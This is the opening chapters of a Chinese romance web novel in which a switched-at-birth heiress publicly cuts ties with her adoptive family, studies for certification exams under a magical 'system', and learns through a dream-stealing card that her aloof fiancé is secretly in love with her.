《考个证吧,公主大人!》
1. 真假千金
时近黄昏,天色就已暗沉如墨,冬雪悄无声息地落下。
数百平的别墅此刻灯火辉煌,悠扬动听的乐声伴着沁人的酒香,将衣着华贵的人们拉入一场盛宴。
陈家百年书香世家,陈余生更是青城有名的儒商,陈夫人为人也低调随和,除了当年婚礼办过一场盛宴以外,再没有这样大办过宴会。
奈何好竹出了根歹笋,陈家大小姐陈结君自幼便娇气跋扈,高调炫富,与她父母的性格天差地别。
可就在前阵子,陈家忽然得知陈结君不是他们的亲生女儿。
合着这二十几年,养的都是别人家的歹笋。
真千金的养父母找上门时没有遮掩,很快陈家抱错女儿的事就在圈子里传开,陈结君一夜之间从豪门千金沦为冒牌千金,往日被她得罪的少爷千金们都乐疯了,连开了一周轰趴庆祝,青城各大会所的老板脸都要笑烂了。
而今日的宴会主角则是他们失散多年的亲生女儿——陈结梅。
对于陈结君的死对头们而言,今天可以说是彻底判决陈结君大魔头的一天,他们怎么能不来?
除了这些看热闹的千金少爷们,自然少不了与陈家有商业往来的,或是有求于陈家的各大家族,各路大神难得齐聚一堂,场子很快热了起来,陈夫人就在此刻领着一位容貌秀丽的女孩款款而来。
众人立刻看过去,心里都有数,这位想必就是陈家那位真千金了。
陈余生朝她们招手,待母女俩走近,才对女孩道:“结梅,过来见见叔伯们,他们当年可都是陪着爸爸闯江湖的兄弟。”
陈结梅有生以来第一次穿礼服,面上却是一派从容,她长得确有几分像陈夫人,容貌虽然不是豪门千金里拔尖的,但笑起来很有江南水乡的味道,温柔、宁静。
不愧是陈家的女儿啊!
“啧,这周身的书卷气,可比那个冒牌货强多了!”
宴会的角落里,几位富家子弟聚在一起,说话的是个寸头男人,右耳招摇地戴着颗蓝钻石,一双眼隔着数十米距离,将陈结梅从上到下打量了一遍,嘟囔着补了句:“就是长得一般。”
一个穿着粉色礼服的女孩伸长了脖子四处张望,没看见那道招摇的身影,顿时失望:“她还真没来啊,该不会怂了吧!”
她身旁穿着黄裙的女孩笑着说:“温小姐找她做什么?今天可是真千金回归的大喜日子,她就算再跋扈,也比不过人家真凤凰啊,可不得避避风头。”
这个话题显然引起大家的兴趣,有人小声道:“听说她前几天就搬出陈家了,已经好几天没消息了呢!”
说是搬家,但人人心里都清楚,陈家白养了别人家的女儿二十多年,放在身边有多碍眼,况且亲生女儿好不容易回来,怎能再让一只假凤凰碍了真凤凰的眼?
肯定是把人赶出去了!
黄裙女孩掩嘴笑了:“她陈结君之前多嚣张啊,那暴脾气得罪了多少人?换做是我,我也不敢来!温小姐,你说是吧?”
温月只是笑笑,心中不以为然。
陈结君不是什么好人,这李秀秀更不是。陈结君风光无限的时候,她跟着鞍前马后的,这会风向变了,她转头就数落起来了。这样的墙头草,她可不屑与之深交。
“放心,她会来的。”寸头男人抱着手坐在沙发上,胸有成竹的样子。
李秀秀好奇道:“阿浩,你这么有把握,是不是有什么内部消息?透露一下嘛!”
孙浩朝门口看了眼,道:“我也不太确定,不过听说深海和陈家最近在谈合作,今晚的宴会,季总大概率会来参加。再说了,季总和陈结君的婚约……”
他话未说尽,众人已知其意。
季潭和陈结君两人已经订婚将近半年,季潭却连订婚宴都没出现,两人之前更是毫无交集,陈结君还亲口说过他们没怎么联系,百分百是商业联姻。
现在陈结君身份变了,怎么配得上季家的公子,更何况季潭回国后,仅仅两年就靠着深海成为季家的当家人,更是青城一把手,这样的财富和实力,谁见了都得让三分,怎么可能娶一无所有的陈结君?
孙浩这话提醒了大家,季潭现在又是炙手可热的黄金单身汉了!
短短几秒钟,朝门口张望的富家千金越来越多,也许是大家的心愿过于强大,季潭还真在此刻踏进宴会厅。
他今天没打领带,仍穿着墨色西装,不知是不是从公司匆忙赶来的,头发有些乱,但他是季潭,在富家千金圈子里最先传开的不是他打造的商业帝国,而是他那张精致的脸。
顶着这样一张祸国殃民的脸,再配上那副昂贵的金边眼镜,凌乱的碎发落在额前,不知迷倒多少人。
只是他在商场上的手段太狠,一时间没人敢上前搭讪,只能眼睁睁看着他被商业大佬们迅速包围。
因为他的到来,众人的目光被引开一大半,陈结梅暗暗松了口气,跟在陈夫人身边到处走动,心里忍不住想起前几天离家的那个人,学姐她……每天过的就是这样的日子吗?
她今天应该很难过吧。
她看了眼门口,宴会已经过去大半,仍未看见那道熟悉的身影,陈结梅笑容微敛,也是,这样尴尬的场面,不如不来。她想拿手机发点什么,却被陈夫人带着见了一位贵妇人,忙着应酬去了。
温月今天特意过来,就等着看陈结君笑话,怎知到现在人影都没见着,她的耐心马上就要告终了,嘟囔道:“季潭都来了半个小时了,陈结君还没到,她是彻底摆烂,不打算挽留季总了?”
“温小姐真会开玩笑,季总是她想挽留就能挽留的吗?”李秀秀得意的语气藏都藏不住,“她今天来了,就是给咱们当乐子的,要是不来,从明天开始,她陈结君三个字就彻底从这个圈子里消失了。”
—————————
【他们说你怂了。】
距离陈家别墅几公里的公交车上,陈结君咬着笔帽,看仇人似的看着手里的卷子,这道题怎么解来着?
【他们还说你就是个笑话。】
陈结君没搭理,继续研究眼下的难题,那道声音还在持续输出:【我觉得他们说得对,毕竟你一道题解了一个小时,还解错了。】
“……”陈结君恼怒道:“别吵了,还想不想我顺利完成晚自习了!”
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陈结君抬头,刚巧看见车里的广告牌,是一个舞台剧的广告,除了几位主演外,还用镶金边的正楷写着:“人生如戏,命数天定”八个大字。换作以往,她只会觉得可笑,只有弱者,才会把不幸的锅扣在命运头上。
可最近发生的事就像戏文一样,先是真假千金,再是亲生父母骚扰养父母导致养母病发,最后的最后,她搬出了陈家。
原以为人生就此坠入泥潭,怎知一夜噩梦后,竟又绑定了系统,只要考到证书就能获得巨额奖金……
世界果然是个巨大的草台班子。
【考生,你又发什么呆?】系统检测到她在神游,出言提醒,【温馨提示,如果没有按时完成学习计划,是会被关小黑屋的。】
陈结君回过神,吐槽道:“知道你还来干扰我?害我题都做错了!”
【请端正你的学习态度,我是在激励你,根据你的性格评估结果,激将法是个很好用的学习辅助方法。】
陈结君毫无形象地翻了个白眼,这会离别墅区还有四个站,她得赶紧把这道题解出来,要是被关小黑屋,今晚的宴会就真去不成了,她还有很重要的事要完成。
她不再搭理系统,埋头继续做题,终于在到站前解决完今天的习题卷。
公交站离别墅还有一段距离,这条路她熟得很,只是往日都由司机接送,今天还是第一次走到别墅,尽管早有心理准备,但走到别墅门口仍然花了将近半小时,她没有急着进去,只是站在花丛旁调整呼吸,检查了妆容和礼服,然后从手提袋里取出一双高跟鞋换上,将换下的运动鞋装好,手提袋往暗处一扔,搞定!
“哎呦!”
暗处传来一声短促的惊呼,陈结君侧目看去,只见一道花里胡哨的身影从暗处钻了出来。
“姐,你下手也太狠了!”
哦,是她那爱搞事的堂弟,现在也不是她的堂弟了——是陈结梅的。
陈结君见他捂着头,好像很疼的样子,这要是砸出好歹来,她可赔不起,于是关心道:“没事吧?我不知道你在。”
陈得翔瞪大眼,头也不捂了,疼也不装了,难以置信道:“姐,你、你在关心我?”
知道他是装的,陈结君扭头就走,宴会马上结束了,她该见的人没见着,该办的事也没办好,没空在这陪他玩闹。
陈得翔见她头也不回往宴会厅走,就知道这位姐的脾气一点没改,他等在这就为了拦住她,好歹姐弟一场。见陈结君不搭理,他只好像以往那样跟在她后头苦口婆心地劝:“君姐,你真要进去啊?里头的人都在等着看你笑话,虽然有伯父伯母在,但今天比较特殊,他们顾及那位新姐姐的面子,恐怕也帮不了你多少……”
“闭嘴,你很吵。”
一路跟到门口,陈得翔还要再劝,却发现陈结君已经踏进大厅,没有一丁点胆怯和犹豫。
精致的高跟鞋踩在木质地板上,发出轻微的响声,就这一点动静,让喧闹的宴会霎时间静了下来,就像一壶沸腾的热水被瞬间冰冻,气氛变得有些微妙。
季潭就在这一瞬间的寂静里,听见系统低声说:【宿主,她来了。】
2. 自断羽翼
“她还真敢来啊……”温月站起身,眼神复杂地看着门口那道倩影,还是那么漂亮,好像这场风波没给她带去一丁点的影响。
她今天穿了一件普通的高定礼服,这条裙子前几个月温月就见她穿过。同样一条裙子,被她换了发型妆容和配饰,就又成了另一种风格。
这就是陈结君,无论到了哪,她都是被众人瞩目的存在。
陈结君的到来无疑将这场宴会推入高/潮。
众人的目光若有似无地飘过陈家众人,这一切陈结君没有理会,她一进门就把目光落在陈夫人身上,自从上次她的亲生父母将母亲气病以后,她有生以来第一次当了逃兵。
在陈母住院那几天,她不敢出现在陈家人面前,连电话也不敢打一个,直到陈余生找到她,告诉她陈母没有怪她,甚至想让陈结梅作为妹妹进陈家,她依旧是陈家的大小姐。
她将陈父陈母视作亲生父母,若不是那一场噩梦,或许她会听从父母的打算,多一个妹妹。
只是一想到那场梦的结局,还有亲生父母的所作所为,她就没有办法接受,谁知道那场梦会不会成为现实?
真假千金、系统、预知梦……
所有条件都集齐了,真相只有一个——她很可能活在一本书里!
……而且是炮灰女配。
“你怎么才来。”陈母笑着,第一个迎上来,她在外人面前总是端庄得体的,陈结君却看见她眼里的泪光。
想到一会要做的事,她心里总有几分愧疚,可她总不能眼睁睁看着亲生父母继续吸陈家的血。
“妈,有件事我想同你商量。”
陈母自然答应,一家三口连带着陈结君短暂地离开了宴会。
————————————
宽敞的休息室里,陈结君刚进门就拉起陈母的手,扶着她到沙发前坐下,“妈,你的身体怎么样了?”
“我身体好得很!倒是你不来,让我伤心了好几天。”
“对不起。”
陈余生道:“知道回来就好,我已经和阿梅说好了,从此以后你们就是亲姐妹。”
陈结梅走上前来,喊了声:“姐姐。”
陈结君看了她一眼,这不是她第一次见陈结梅。
这世界说大不大,说小不小,她高中时学校曾举办过扶贫活动,从山区领来几位贫困生,在学校学习一年,陈结梅就是其中之一。印象中是个懦弱自卑的女生,不怎么说话,整天不是看书就是做题,但她只来了一个月就被家人接走了。
谁能想到再见会是这样的场面。
陈结君收回思绪,对两位老人道:“爸,妈,我有话要跟你们说。”
————————
休息室的门关了许久,里面隐约传出陈余生的怒吼,众人终于窃窃私语起来。
李秀秀低声道:“她还真有脸来啊,我看陈伯伯的脸色不太好,说不定正在里头教训她呢!”
“没有陈家默许,她能进得来?这你都看不懂吗?”温月冷冷道。
李秀秀语塞。
温月今天就跟吃了炮仗似的,不,她一直跟吃了炮仗似的,只是以前都把炮朝陈结君扔,今天不知怎么的,炮火扔她这儿了。想到她背后的温家,李秀秀看了她一眼,佯装没听见,没敢杠。
一片议论声中,只有季潭默默在心里问了一句:“她今天的学习计划完成了?”
【宿主放心,已经完成了。不过……】
“不过什么?”
【她做了一晚上,正确率不到百分之三十,建议宿主换个人选】
季潭看了眼远处紧闭的门,眼里浮现一丝笑意,“不换,她会是个学习的好苗子。”
系统:【不可能,本系统怎么没看出来?】
“你眼光不好。”
系统:【……】
“咔哒——”
休息室的门开了。
众人朝那边看去,陈结君头一个出来,她神色自若,只是跟在她后头出来的人脸色都不太好。陈余生神色淡淡,陈夫人眼眶微红,像是哭过,陈结梅跟在他们身后,几次看向陈结君,欲言又止,最终还是扶着陈夫人离开了。
显然是不欢而散。
这可是场好戏,众人的目光炙热了几分,孙浩等人更是摩拳擦掌,只等陈结君灰头土脸的时候送上致命一击。
只见陈结君径直走到台上,拿起话筒清了清嗓子,开口道:“今天大家聚在这里,想必都知道因为什么事,晚辈就不多作解释,浪费各位宝贵的时间了。我想说的是,陈家的大小姐只有一位,那就是陈结梅,而我陈结君,从今夜起与陈家再无瓜葛!”
宴会厅一片寂静,看戏的二代们瞪大双眼,精明的老总们默默观察陈余生的脸色,众人神色各不相同,但心里都不约而同意识到,这位娇纵了二十多年的陈大小姐,终于疯了。
温月喃喃道:“她知道自己在说什么吗?”
疯子才会主动与陈家撇清关系,陈家养了陈结君二十多年,即便没有血肉亲情,也总有点感情在,只要陈结君乖乖示弱,讨好陈结梅,陈家未必没有她的立足之地。
但在她说完这番话后,一切没有了转圜的余地,她亲手斩断了与陈家的联系。
孙浩同样觉得不可思议,猜测道:“难道陈家给了她什么好处,条件是就此一刀两断?”
一个看热闹的阔少小声道:“你们看陈总的脸色,我猜他们在里面吵了一架,陈结君才这么说。”
“我猜啊,陈总一定是想让她主动离开陈家,但她不同意,最后被陈总逼得没办法,才答应了。”
“哪用得着陈总出手啊。”李秀秀看了眼走下台的陈结君,轻笑了声,说,“你们知道她现在住哪儿吗?”
“你知道?”不怪孙浩怀疑,接到陈结君搬出陈家的消息,他第一时间打听了她的下落,就等着当第一个落井下石的人呢,谁知问了一圈,没人知道她去了哪。
不过李秀秀曾经是她的跟班,知道也不稀奇。
李秀秀还想卖个关子,但耐不住大家催促,就连温月也默默竖起耳朵。
她只好如实道:“就在北区一个老小区里,以她现在的境况,给个几十万她也就答应了,能有多费事!”
北区是市中心与郊区的边界,许多工薪阶级就住在那儿,平时他们连去都不乐意去一趟。
孙浩看着不远处神色自若,从头到尾没朝这边看一眼的陈结君,忽然冷笑一声,拉高声音道:“几十万哪够啊,好歹曾经是咱们金贵的陈大小姐,怎么也值个百来万吧!”
声音不小,陈结君刚好听得清清楚楚,她那闲着没事的系统又模仿孙浩阴阳怪气地复述了一遍,她想装听不见都不成。
停下脚步,陈结君扭头看向声音传来的方向,不出所料,果然是孙浩这帮吃饱了撑的二代们。
周围的人听了这话,都默默朝这边行注目礼,见陈结君挺住脚步,目光又炙热了几分,恨不得他们打起来,今晚来这的人谁不想看热闹啊!
“百来万?”陈结君一步步走到孙浩面前,清凌凌的目光在他脸上落了一瞬,又划过他身旁的几人,直到他们脸色微变,才转而看向孙浩,轻笑道,“孙少爷还是管管自己吧,说得好像你有似的!都好几年了,打算什么时候从孙家的保姆房搬出来?”
孙浩脸上的笑容一僵,狠狠瞪着她,“你、再、说、一、遍!”
众人面面相觑,只能感叹陈结君威风不减,都这步田地了,说话还跟以前一样呛人。
别看孙浩表面风光无限,他是几年前孙家带回来的私生子,他的父亲本不愿承认这个儿子,奈何孙老爷子坚持,这才把人带了回来,却没怎么管过他。
听说孙浩进了孙家后,就住在保姆曾经住过的房间,不过知道这事的人不多,陈结君恰好是其中一个。
李秀秀快要掩盖不住嘴角的笑意了,陈结君竟敢当众撕开孙浩的伤疤,孙浩是条逮着人就咬的狗,这会已经有许多人用疑惑的目光看向孙浩。
陈结君却不以为然,还轻飘飘地问:“你确定要我再说一遍?”
“老子杀了你!”气恼交加,孙浩捏紧拳头朝她挥过去。
众人惊呼,陈结君早有准备,拎着裙摆往旁边一闪,泥鳅似的钻进人群中。
孙浩恼怒之下全然忘了自己在什么地方,见一拳挥空竟然还要再打,但已经被赶来的保安制止。
直到被摁在地上,脸贴着冰凉的地砖,他才意识到自己做了什么。
出门前孙老爷子特意提醒他不要胡来,孙家这几年日渐式微,与陈家的合作是最后一根救命稻草,要是搅黄了……
可陈结君已经不是陈家的人了,陈家更是厌恶她鸠占鹊巢,陈余生总不至于为了她和孙家翻脸。
只要他好好道个歉,想必陈家会给个台阶……
他定了定神,低声道:“松开!”
两个保安看向陈余生,见他点头后才松开孙浩,退到一旁。
孙浩站起身,理了理衣裳,朝陈余生恭恭敬敬弯腰道歉,“陈伯伯,对不住,是晚辈一时冲动,这才惊扰了大家。”
陈余生第一时间看向人群,陈结君没事人似的冲他眨眨眼,陈余生收回目光,对孙浩笑了笑,道:“年轻人玩闹而已,大家多包涵。”
一句话化解了僵持的场面,几位老总附和着,簇拥着陈余生离开。
自始至终,陈余生没有为陈结君说过一句话,更是轻飘飘地放过了孙浩,而她名义上的未婚夫冷静地站在远处看着,没有替她解围的意思。在场的人不是傻子,心里琢磨着陈家这回是真的放弃陈结君了。
孙浩见几位长辈走远了,冲陈结君冷笑一声,却不敢再说什么,陈结君就是个疯子,他要是在宴会上再闹出什么不愉快,就算陈余生不计较,老爷子也不会再用他。
至于陈结君,一个弃子而已,以后有的是机会收拾她。
“你没事吧?”李秀秀见他脸色难看,劝道:“君姐就是这个脾气,她最近心情不好,说话难免刻薄,你何必同她计较?”
孙浩看了她一眼,没说话,拉着她转身就要走。
陈结君只是淡淡看着,在他俩相携离开前适时出声:“你不好奇吗?”
见孙浩顿住,她才缓缓道:“我为什么知道你在孙家的遭遇,你不好奇吗?”
孙浩冷冷地看着她,倒是一旁的李秀秀眼里闪过一丝不易察觉的慌乱,她忙笑着劝道:“君姐,我知道你不喜欢今晚的宴会,但这毕竟是陈家特意为陈大小姐准备的回归宴,你还是别闹了……”
这话说得绵软,却别有用意,不明所以的人听了,还以为陈结君今
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晚出现在陈家是特意来闹事的。
陈结君却没恼,只是笑道:“怎么,怕我告诉孙浩,你为了讨好我,把孙家的事当笑话讲给我听?”
李秀秀:“……”
一句话全抖出来了。
还好她已经有了心理准备,好似突然被人冤枉一般,惊讶过后才反应过来,不知所措地朝对孙浩道:“不是这样的,我什么都没说!”
李秀秀的父亲与他叔父交情好,的确有可能知道他的情况,反倒是陈家以前与孙家只是点头之交,陈结君那样高傲的性子,不可能特意打听他的事,孙浩冷冷看着她,没应声。
知道孙浩心里有了怀疑,李秀秀暗道不好,顶着孙浩的死亡凝视,她露出几分失落的神情,对陈结君道:“君姐,我知道你心情不好,但你能不能别像以前那样拿我撒气了,我,我也是有尊严的!”
陈结君看完她的表演,遗憾地摇摇头,评价道:“你的演技还像以前一样烂,不过配上这身衣裳,好歹有几分小白菜的气质了。”
陈得翔看见孙浩动手那会就已经赶过来,随时准备救驾,无奈陈结君战斗力太强,这会终于找到机会插上一嘴:“姐,是小白花。”
陈结君看了他一眼,目光悠悠转回李秀秀身上,道:“撑死了是颗小白菜。”
小白花她见过,比眼前这位高级多了。
不知谁笑出了声,李秀秀顿时双眼通红,“陈结君,你别太过分!”
陈结君只扫了她一眼,不想多做纠缠,父亲向来护短,就算气她执意离开陈家,也决不会容许别人这样欺负她,刚才对视那一眼,她就知道孙浩这回至少要被剥好几层皮。
就在这会,手腕上的玉镯忽然发热,温开水似的,不烫手,但足以提醒她,没多少时间了。
果然,下一秒系统的声音响起:【温馨提示,离学习时间还有半个小时,请考生做好准备。】
她目光不着痕迹地看了眼左手腕上的镯子,玉镯质地清透,色泽均匀,是上好的帝王绿,一看便知价值不菲。
这是系统给她的学习助手,不知道等她完成任务与系统解绑时,能不能把镯子买下。
她心里胡乱想着,目光落在远处的男人身上,他也正巧在看她。
两方视线相交,陈结君弯起嘴角,露出标准的社交性假笑朝他走去。
季潭。
从小她就知道,季家的水是青城最深的水,而她眼前这位未婚夫,就是卧在水底的一条潜龙。
其实她与季潭没什么交情,小时候大家都是一个圈子里的,也就见过几次面,除了他长得尤其漂亮,买眼镜的品味不错以外,与其他的点头之交并无不同。
当年听说季家出事后,他就彻底消失了。直到前两年他忽然归来,带着自己一手创办的科技公司在青城杀出一条血路,最终从自家小叔手里夺回了季家的掌控权。
那阵子各大媒体铺天盖地都是他的新闻,那会小岛还给她发过一张照片,照片里他西装革履,板着脸站在高台上,气场很强。
她看了会,顺手配了一行字:“这次回国,我要拿回属于我的一切!”
小岛笑得前俯后仰,把这张图存进表情包。
没过多久,她爸就来找她商量订婚的事,男主角正是季潭,她才知道原来季潭出国前找过她爸。
他们当年或许达成了某些交易,联姻只是这场交易的保障,她是独女,自然要担起联姻的责任。
季潭有钱,有能力,长得更是万里挑一的帅气,她没什么好挑的,大不了婚后各玩各的,这样的夫妻在圈里一抓一大把,正常得很。
果然,订婚后他们依旧没什么交集,还是当年的点头之交,她本想婚前签协议,就这么各过各的也好,但现在她已经不是陈家人,婚约自然不能作数。
她已经在众目睽睽之下走到季潭面前,笑容得体大方,“季总,好久不见。”
这句话一出口,众人不约而同露出“果然如此”的神情,真情侣怎么会好久不见,商业联姻实锤了!
温月弯起嘴角,低声道:“季潭果然没看上她!”
陈得翔站在她旁边,恰好听见这一句,可不得为他姐出口气,当下问:“你怎么知道不是我君姐看不上他?”
温月瞪了他一眼,没搭理。
眼前的男人没搭话,那双眼透着让人摸不透的光芒,透过无框眼镜落在她身上——她竟才发觉,这人戴的居然是无框眼镜,为了凹造型也是煞费苦心了。
这眼神几个意思?是不想搭理她,还是试图用目光杀死她?
啊!该不会以为她要死缠烂打吧?
陈结君又喊了一遍:“季总?”
季潭垂在身侧的手动了动,低低应了一声:“嗯。”
系统在他耳边播报:【心跳113,手心出汗。宿主,你在紧张吗?】
能不紧张吗,距离上次跟她说话已经过了近一百天。
季潭眨了眨眼,极力让自己冷静一些,系统继续播报:【心跳137,宿主,你的耳根红了。】
陈结君被他盯得心里发毛,只想速战速决,“刚才你也看见了,我已经不是陈大小姐,我们的婚约还……”
【嘀──学习时间到,请考生专心学习,不要开小差哦!】
陈结君张了张嘴,发不出声音。
3. 盗梦
陈结君又试了几次,还是说不出话来,她心里着急,话都说出口,怎么就偏偏断在这儿了!
“我已经不是陈家大小姐,我们的婚约还是算了吧。”
这句话断在哪儿不行,非要断在让人误会的地方,可这会她是什么话也说不出口,学习计划是她自己制定的,系统已经提示过,在没有提前更改计划的前提下未按时完成学习的话,系统将解决一切令她无法专心学习的人和物。
也就是说,即便她想当场拿出手机打字告诉季潭解除婚约都不行。
短短几秒钟,季潭已经开口道:“还作数。”
什么?陈结君惊讶地看着他,怀疑自己听错了。
季潭为她没听清,又说了一遍:“我们的婚约还作数。”
这回不仅陈结君,就连围观群众都听得一清二楚。
系统的提示一遍遍响起,她得赶紧回去学习,陈结君朝他扯了扯嘴角,挥了挥手,飞快离开宴会厅。
季潭看着她的背影,极力控制上扬的嘴角。
【宿主很高兴?】
“她对我笑了。”
当晚,季潭洗漱完躺在床上召唤系统,问:“你有回放功能吗?”
【宿主想回放什么?】
“今晚她对我笑的那一瞬间。”
系统没有回应。
季潭道:“那她跟我说话的时候?”
依旧没有回应。
“她朝我走来的时候呢?”
【宿主,我是育苗系统,不是恋爱系统,请你自重。】
与此同时,终于完成学习计划的陈结君大字型躺在床上盯着天花板放空了会,想起今晚的乌龙就觉得头疼,季潭当时看她的眼神恨不得把她给吃了,怎么可能说出婚约作数这样的话?
大概是碍于绅士礼节,不好当着这么多人的面拒绝她。
这样岂不成了她道德绑架了?
“好尴尬啊……”她低声道。
以后有事时,一定要记得提前更改学习计划,绝不能再出现今天这么尴尬的状况!
她抓起床上的手机,显示十几个未接电话,大多是张屿打来的,她回拨过去,那边立刻接上了。
“陈小君!可以啊你,居然能让季潭当众宣布和你的婚约依旧作数!一想到那些人的表情我就想笑,特别是温月和李秀秀,这俩该气死了吧,哈哈哈哈!”
“打住!她们有没有气死我不知道,我只知道我要尴尬死了。”陈结君换了个姿势,趴在床上道,“说出来你别不信,我当时想说的是解除婚约。”
“解除?你不想连累伯父伯母,要离开陈家我能理解。但你有没有想过,离开陈家后,季潭就是你最后的底牌,就算你俩没感情,旁人碍于他的面子也不至于做得太过分,现在你跟我说要解除婚约?”张屿在电话那头狠狠叹了口气,“你要是没了这张牌,孙浩李秀秀他们还不得把你生吃了!”
陈结君被她逗笑了,“我不是还有你吗?你可要保护好我。”
张屿闷声道:“这要换做以前,我确实能保你,可我现在是泥菩萨过江,爱莫能助啊!”
“那就请泥菩萨多操心操心自己,我这边自有打算,你放心。对了,”她想起那晚的恶梦和冷汗,问,“我让你帮忙打听的事怎么样了?”
“呀,差点忘了。静安寺,青城最厉害的道士就住里头,听说许多有权有势的人办大事前都要找她论道,这次我好不容易帮你问到她的接下来几天的行程,一会发你啊!”
陈结君笑道:“真这么厉害?”
“当然!听说只要她拍板的事,没有一件不成的。”张屿压低声道,“她脾气古怪,不是好说话的,你记得带上港记的草莓蛋糕,她喜欢吃。”
“这你都打听到了?小岛屿,你人脉可以啊!都快赶上张尔尔了。”
“别跟我提她,晦气!”张屿道,“我认识一个朋友恰好是静安寺的小道士,问了他才知道的。”
“小道士啊——”陈结君笑道,“帅不帅?”
“陈小君!劝你慎言啊,人家是个道士,上来就问帅不帅,多唐突啊。”
“多唐突也没你唐突。”从小一起长大,张屿是个什么样的人她还是清楚的,只要脸好看,别说小道士,和尚也不在话下,“说说看,进展到哪一步了?”
“别问,问就是世外人不近女色。我直播时间快到了,不跟你说了。”
陈结君应了一声,正要挂断。
“等一下,那个季潭……你真不再考虑考虑了?”
“我跟他不是一路人。”况且她现在有了系统,只要每天按时完成学习计划就能获得积分,积分可以换取随机奖励,考到证还有大笔奖金,这不比中看不中用的季潭强多了。
张屿很快发来那位道长近日的行程,她大略看了眼,居然是位女道士,怪不得爱吃甜食。张屿那位朋友是个有分寸的人,发来的行程表只用色块标明那位道长的时间安排,没有透露这位道长每个行程要办什么事。
陈结君看了眼,决定后天下午去碰个运气。
【恭喜完成今天的学习计划,获得奖励:盗梦卡】
“盗梦?没意思,我自己就能做梦,偷别人的干嘛?”陈结君道,“还不如像前两天一样给我考试加分卡呢!再说了,万一是恶梦呢?”
【这是奖励道具,不是惩罚道具。】
【是否使用?】
陈结君想了想,问:“谁都可以?”
【需要在今天见过的人当中选择。】
今天见过的人,她想了想,笑着说:“还真有一个人让我挺好奇的,那就看他的吧,季潭。”
【为什么?】
“就想知道坐拥金山银山的霸道总裁一般会做什么梦。”
过了会,不见系统说话,陈结君敲了敲玉镯,“怎么,他不行?”
又等了会,才听见系统的提示音。
【盗梦卡使用成功,做个好梦。】
来吧!让她也体验体验大佬的梦境!
陈结君躺在床上,两手抓着被子,安详地闭上了眼睛。
穿过一片迷雾,她似乎来到某个私家花园,远处有个女孩的背影,看着有点眼熟。
难道是季潭的梦中情人?
那可得打好关系,这人也太能藏了,从没见他与谁亲近过。陈结君怀着激动的小心情走上前去,花海中的女子静静站着,风吹起她的裙摆,她恰好转身——
竟然是她自己!
她看见自己娇羞地将鬓边的头发撩到耳后,温柔地说:“季潭,我们结婚吧!”
接下来的每一个场景都有她,小时候的她,上学时的她,长大后的她,订婚宴的她……
每个她的情绪都不同,但行为却只有一个——“季潭,我们结婚吧!”
“哎呀妈呀!”陈结君惊叫着从床上蹦起来,看了眼闹钟,六点多了。
【今天起得早,要进入学习状态吗?】
“不。”她倒回床上,语气幽怨,“你还是检查检查自己吧。”
【什么意思?】
“你出bug了!我做了一晚上的恶梦!”
【什么梦?】
“……”说不出口,想想都觉得恶寒!
陈结君抖了抖身子,把被子裹紧了些,道:“总之,你出bug了,你得赔我!”
不见回音,陈结君道:“你不会想赖账吧?”
【申请成功,盗梦卡转为成绩积分,下一场考试中,考生成绩自动加一分。】
“这还差不多。”
身家亿万的大总裁的梦不是金山银山,不是商业蓝图,居然是被!逼!婚!
都说日有所思夜有所梦,看来她昨晚是真把季潭给吓惨了,还是识相点,早些主动提解除婚约的事,说不定还能要点补偿费,不然等季潭耐心耗尽,她就更被动了。
她在心里暗自琢磨:不知道能要多少,要是能多拿点,早日还清债也好。
上午要学习两个小时,她花四十分钟做了张卷子,而后伸着懒腰,坐在桌前翻了翻日程表,离下一门考试还有十五天。
十五天……
她默默看着手里的模拟卷子——38分。
好吧
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,比昨天高了点,但离合格还差很多,十五天不太够啊。
“叮咚”
手机来了消息,是一条好友申请。
陈节君点开一看,一个陌生的号,备注写着:“姐,我们到机场了,你方便过来接机吗?”
哦,是她那素未谋面却敢问陈家要钱买房的亲弟弟。
早在几天前赵玉芬,也就是她那素未谋面的亲妈特意打了通电话给她,这是真假千金被揭露后她打来的第一个电话,千叮咛万嘱咐让她负责好弟弟的衣食住行,并要求她把人安插进陈家手里的一家上市公司当总监,陈节君只听了一半,毫不犹豫地挂了电话。
不挂还好,这一挂不知道触了赵玉芬的哪根筋,竟然对她电话轰炸,一家三口轮流给她打电话,发短信,陈节君不是个好相与的,他们越是打,她就越是不接,她都想好第二天就去换个号码,看谁耗得过谁!
就这么僵持了两天,直到发现他们找上了陈家。
在把李梅花……也就是如今的陈结梅接回来之前,赵玉芬哭着说辛辛苦苦才把李梅花拉扯大,不能让陈家说带走就带走,陈余生是个生意人,一眼看出了赵玉芬的目的,最后陈家看在陈结梅的面子上,花了一笔钱为赵玉芬的儿子买房,这才把人顺利带回来。
哪知赵玉芬就这么把陈家当成摇钱树,赖在树下不走了。
在陈家生活这么多年,陈父陈母把她当成掌上明珠宠着,即便陈结梅回来了,仍愿意把她留在陈家继续做他们的掌上明珠,就凭陈家的这份恩情,她绝不可能让亲生父母吸陈家的血!
无奈之下,她主动给赵玉芬打了通电话,这通电话讲了将近三个小时,最后敲定方案。
她给赵玉芬五百万,李家拿到钱后不能再以任何理由来骚扰她和陈家,立字据为证,具体条款她会找律师拟好,他们只要签字就行。
然而这五百万对她而言也是一笔巨款。
陈节君前二十年是坐在金山银山上的,只负责花钱,哪会自己挣?
她连夜算了自己这些年投资得来的利润,总共也才三百多万。陈家给的钱包括贵重的包包首饰她都留在了老宅,她不是陈家的女儿,自然不能要他们的东西。
张屿听了直夸她硬气,这样硬气的后果就是她现在一分钱都不敢乱花,穷得叮当响。
现在这群要账的衰神还有脸要她去接机?这么大个人了还要接机?
影响我学习!陈节君把手机往旁边一扔,不想理会。
其实五百万对陈家来说不算什么,李家虽然难缠,但父亲纵横商场多年,有的是对付他们的手段,但考虑到她和陈结梅的心情只能任他们予取予求。
所以,她昨晚当众斩断了与陈家的联系,也是彻底断了李家去找陈家的路。她已经同父亲母亲说过了,如果李家要钱,一分也别给。
起初她是想要工作的,奈何陈大小姐活了二十来年还未正式打过工。
下载了求职软件后走马观花地看了个遍,挺直的腰杆子越看越弯,不得不承认,除了陈家千金的身份外,她的学历不如应届生,经验不如老社畜,别说高管了,就连个小组长都当不成,工资还抵不过她一个包。
也就这一刻,她才算是真正感受到成为“假千金”的落差有多大。
好在遇上了系统,考一个初级证就能拿十万,她以前对学习不上心,但成绩还能保持中下游,心想这钱不难赚。谁能想到学了好几天,分数居然这么低!
陈结君长长地吐出一口气,用马克笔在白纸上唰唰写下“天道酬勤”四个大字贴在墙上,摆了半天,又觉得缺少了氛围感,于是拿出珍藏的可爱贴纸精心小心翼翼地贴上去。
